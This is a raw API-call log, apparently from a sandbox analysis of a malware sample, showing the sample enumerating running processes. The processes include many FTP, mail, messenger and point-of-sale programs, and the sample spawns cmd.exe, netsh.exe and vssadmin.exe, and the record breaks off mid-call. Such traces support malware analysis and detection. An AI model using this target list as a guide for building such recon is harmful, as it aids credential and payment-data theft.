Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expensesknowpolicies.exe")) returned 1 [0058.916] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="york-singing.exe")) returned 1 [0058.916] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno charges.exe")) returned 1 [0058.917] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impression.exe")) returned 1 [0058.917] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensboro-revealed.exe")) returned 1 [0058.918] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="range-hayes-pot.exe")) returned 1 [0058.918] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pilot-liverpool-black.exe")) returned 1 [0058.919] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gammafin.exe")) returned 1 [0058.919] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pope.exe")) returned 1 [0058.919] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operates.exe")) returned 1 [0058.920] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dynamics.exe")) returned 1 [0058.920] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="congratulations.exe")) returned 1 [0058.921] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="employer.exe")) returned 1 [0058.921] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="paypal_drunk.exe")) returned 1 [0058.922] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="italian french participants.exe")) returned 1 [0058.922] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bruceanalytical.exe")) returned 1 [0058.923] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="firefoxguess.exe")) returned 1 [0058.923] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="legally notified.exe")) returned 1 [0058.924] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="qualities.exe")) returned 1 [0058.924] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0058.925] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0058.925] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0058.926] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0058.926] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0058.927] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0058.927] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0058.928] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0058.928] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0058.928] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0058.929] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0058.930] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0058.930] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0058.931] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0058.931] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0058.932] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0058.933] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0058.933] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0058.934] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0058.935] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0058.936] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0058.937] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0058.937] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0058.938] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0058.939] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0058.940] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0058.940] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0058.941] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0058.942] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0058.943] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0058.943] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0059.400] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0059.401] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0059.401] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0059.402] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0059.403] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0059.403] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0059.404] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0059.405] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0059.405] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0059.406] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0059.407] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0059.407] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobile optimum looked.exe")) returned 1 [0059.408] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0059.409] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0059.410] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.411] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0059.411] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0059.412] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.413] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0059.414] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0059.414] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0059.415] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0059.416] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0059.416] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0059.417] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0059.417] CloseHandle (hObject=0x1c0) returned 1 [0059.417] Sleep (dwMilliseconds=0x1f4) [0060.820] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c0 [0060.830] Process32FirstW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0060.830] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0060.831] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0060.831] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.832] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0060.833] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.833] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0060.834] Process32NextW (in: hSnapshot=0x1c0, 